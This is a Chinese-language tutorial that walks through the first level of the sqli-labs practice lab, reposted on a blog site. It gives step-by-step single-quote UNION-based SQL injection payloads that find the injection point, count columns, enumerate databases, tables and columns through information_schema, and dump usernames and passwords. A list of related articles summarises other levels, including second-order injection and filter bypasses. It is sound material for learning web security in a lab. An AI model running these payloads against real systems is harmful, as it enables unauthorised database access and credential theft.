SQLI-labs-第一关

这篇具有很好参考价值的文章主要介绍了SQLI-labs-第一关。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

目录

知识点:单引号字符型注入

1、根据提示,为get注入,在url中输入内容​编辑

 2、判断注入点

 3、判断目前该表的字段数

 4、判断回显位置

5、爆库名

6、爆表名 

 7、爆字段名

 8、爆值


知识点:单引号字符型注入

思路:

SQLI-labs-第一关,渗透学习之路,数据库,sql

1、根据提示,为get注入,在url中输入内容SQLI-labs-第一关,渗透学习之路,数据库,sql

SQLI-labs-第一关,渗透学习之路,数据库,sql

 2、判断注入点

输入?id=1',显示数据库语句错误,说明这里存在sql注入漏洞

SQLI-labs-第一关,渗透学习之路,数据库,sql

 输入?id=1‘ and 1=1 --+ ,回显正常,因为--+是注释符,把原本sql语句后面的单引号(')注释掉了,所以整句sql语句是这样的:

SELECT * FROM users WHERE id='1' and 1=1 --+' LIMIT 0,1(红色部分会注释掉)

SQLI-labs-第一关,渗透学习之路,数据库,sql

 输入and 1=2 ,结果没有正常回显出来,但是sql语句的语法是正确的,所以不会爆sql语法错误

SQLI-labs-第一关,渗透学习之路,数据库,sql

 3、判断目前该表的字段数

使用order by 语句,?id=1' order by 1 --+  从1尝试到报错

SQLI-labs-第一关,渗透学习之路,数据库,sql

 这里尝试到3不会报错,到4就报错,说明有3个字段

SQLI-labs-第一关,渗透学习之路,数据库,sql

 4、判断回显位置

SQLI-labs-第一关,渗透学习之路,数据库,sql

 ?id=1' and 1=2 union select 1,2,3 --+

因为有三个字段,所以我们是select 1,2,3 ,为什么是and 1=2呢?是因为1=1是ture,结合整改语句,它会回显本来的值,改成1=2,则会回显后面的语句(select 1,2,3),就会把相应的值回显出来(两个 sql 语句进行联合操作时,当前一个语句选择的内容为空,我们这里就将后面的语句的内容显示出来)

通过结果我们可以知道,2跟3都是值回显的位置,我们可以在 2或3 的位置构造数据库语句,爆出我们想要的值

5、爆库名

?id=1' and 1=2 union select 1,2,database() --+

SQLI-labs-第一关,渗透学习之路,数据库,sql

6、爆表名 

这时候需要用到函数group_concat()和MySQL的系统表information_schema

group_concat()完整语法如下:

group_concat([DISTINCT] 要连接的字段 [Order BY ASC/DESC 排序字段] [Separator '分隔符'])

数据库版本再5.0以上时,information_schema数据库里面拥有库名、表名字段

?id=1' and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+

SQLI-labs-第一关,渗透学习之路,数据库,sql

 7、爆字段名

以爆user表的字段为例

?id=1' and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' --+

SQLI-labs-第一关,渗透学习之路,数据库,sql

 8、爆值

从前面我们得到数据库的库名、表名、字段名,我们接下来使用concat_ws()这个函数进行爆值

concat_ws(sep,s1,s2,s3...):将s1,s2,s3连接成字符串,并用sep字符间隔

?id=1' and 1=2 union select 1,2,concat_ws(',',id,username,password) from security.users limit 0,1 --+

SQLI-labs-第一关,渗透学习之路,数据库,sql

有些数据库的类型有长度限制,所以我们不能一下子把所有数据爆出来,通过limit语句,一句一句爆

SQLI-labs-第一关,渗透学习之路,数据库,sql

 以此类推,你就可以得到该数据库的所有数据


这篇文章就先写到这里了,哪里不好的请批评指正!文章来源地址https://www.toymoban.com/news/detail-675616.html

到了这里,关于SQLI-labs-第一关的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • sqli-labs靶场分析

    1、level1 单引号测试报错,为单引号闭合,且显示1多了个单引号故而为字符型注入。且未对用户输入进行任何过滤。 且SQL语句错误会输出,可以使用报错注入 order by判断表列数 uoion 联合查询,因为网页只显示第一张表的数据,因此需要union前的语句为假,查出数据为空,把位

    2024年02月07日
    浏览(38)
  • sqli-labs部分关思路

    目录 updatexml 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 25a 26 26a 27 27a 28 28a 问题:你了解sql注入吗 答:由于程序过滤不严谨,用户异常输入,这些输入会导致数据库异常查询,最终导致sql注入 mysql三种注释符: --+ # /**/ updatexml() 这个函数作用是替换数据,三个参数对应

    2024年02月09日
    浏览(35)
  • sqli-labs关卡之一(两种做法)

    目录 一、布尔盲注(bool注入)  二、时间盲注(sleep注入) 页面没有报错和回显信息,只会返回正常或者不正常的信息,这时候就可以用布尔盲注 布尔盲注原理是先将你查询结果的第一个字符转换为ascii码,再与后面的数字比较,如果为真,整个查询条件就为真,返回正常的结果

    2024年02月09日
    浏览(102)
  • sqli-labs基础篇【第七关】详细解析

      从下面的注入测试来看,只有两种输出结果   如果sql执行了,就会输出“You are in… Use outfile…”,反之输入“You have an error in your SQL syntax” 查看是否存在双引号注入 正常输出,说明有执行,存在双引号注入 查看是否存在闭合特殊符号 推测注入点:双引号+两个闭合

    2023年04月15日
    浏览(29)
  • 安装sqli-labs时,mysql 8 报错解决

    首先执行命令Setup/reset Database for labs时,mysqlsql时报错: SETTING UP THE DATABASE SCHEMA AND POPULATING DATA IN TABLES: Warning : mysql_connect(): Server sent charset (255) unknown to the client. Please, report to the developers in  D:developnetworkSecurityphpStudyPHPTutorialWWWsqli-labssql-connectionssetup-db.php  on line  29 Warn

    2024年02月09日
    浏览(23)
  • 【史上最全sqlmap通关sqli-labs靶场教程】

    下载sqlmap地址:sqlmap: automatic SQL injection and database takeover tool 下载完成后解压在C盘或者D盘都行,自己别忘了就可以 解压后在目标文件夹下打开cmd,运行python sqlmap.py -h 运行后出现sqlmap的说明,表示安装成功 ( 这里补充一下,-h其实不是完成的说明,-hh可以获得更多说明, )

    2024年01月19日
    浏览(31)
  • 注入攻击(一)--------SQL注入(结合BUUCTF sqli-labs)

    为了准备信息安全技术课程汇报做的笔记,想着做了也是做了,不如分享出来给想我一样的 初学者学习 。本人之前 没有做过CTF ,也 没有学过 SQL注入, 零基础 ,所以 大佬可以先行离开 。 我的汇报内容是 SQL注入 XPath注入 HTML注入 另一篇文章讲HTML注入,例子给的比较简单,

    2024年02月16日
    浏览(36)
  • 网络安全]sqli-labs Less-12 解题详析

    原理及姿势参考:[网络安全]SQL注入原理及常见攻击方法简析 本文使用到了updatexml函数,原理及姿势可参考:[网络安全]sqli-labs Less-5 解题详析 通过测试可知注入类型为双引号+括号注入 判断注入点个数 尝试可知注入点个数为2 库名为security 以上为[网络安全]sqli-labs Less-12 解题

    2024年02月07日
    浏览(32)
  • [网络安全]sqli-labs Less-26 解题详析

    本关过滤 空格 or and /* # -- / 等符号 可用过滤符如下 %09 TAB键(水平) %0a 新建一行 %0c 新的一页 %0d return功能 %0b TAB键(垂直) %a0 空格 使用联合查询,具体原理及解题方法可见专栏:Sqli-Labs靶场专栏 查库名: 回显如下: 查表名: 回显如下: 查列名: 回显如下: 查数据:

    2024年02月08日
    浏览(32)
  • [网络安全]sqli-labs Less-24 解题详析

    本关考察二次排序注入 二次排序注入原理如下:当注册一个名为admin’#的用户后,再对其修改密码,SQL语句如下: 相当于: 从而以 admin\\\'# 为跳板,修改了管理员密码 操作如下: 注册admin’# 密码11 接着登录后修改密码为123 可以看到管理员密码已被修改: 接着我们就可以使

    2024年02月07日
    浏览(35)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包